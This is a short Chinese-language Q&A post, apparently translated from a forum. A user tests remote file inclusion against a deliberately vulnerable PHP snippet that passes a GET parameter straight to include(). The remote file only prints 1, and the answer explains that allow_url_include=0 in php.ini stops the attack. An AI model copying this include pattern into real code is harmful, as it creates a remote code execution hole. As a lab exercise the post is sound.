简单的远程文件包含漏洞不能工作？

Question

因此，我托管了一个易受RFI攻击的php文件，代码如下：

<?php

echo include($_GET['page']);

?>

但是，当我试图通过保存http://192.168.8.133/test.php?page=http://download850.mediafireuserdownload.com/w7tl7lq5agug/iwmmm0do3h6txy1/test.php来利用代码时，就不会执行php代码。我是不是漏掉了什么？或者apache2是否有防止从外部域获取资源的配置？如果我工作得很好的话。但是RFI不应该和这样的简单代码一起工作吗？

我试图包含的文件有以下代码：

<?php   
    echo 1;
?>

Answer 1

我意识到，我的php.ini文件中的设置有"allow_url_include=0“，即使没有针对php代码的过滤器，也不会包含远程urls。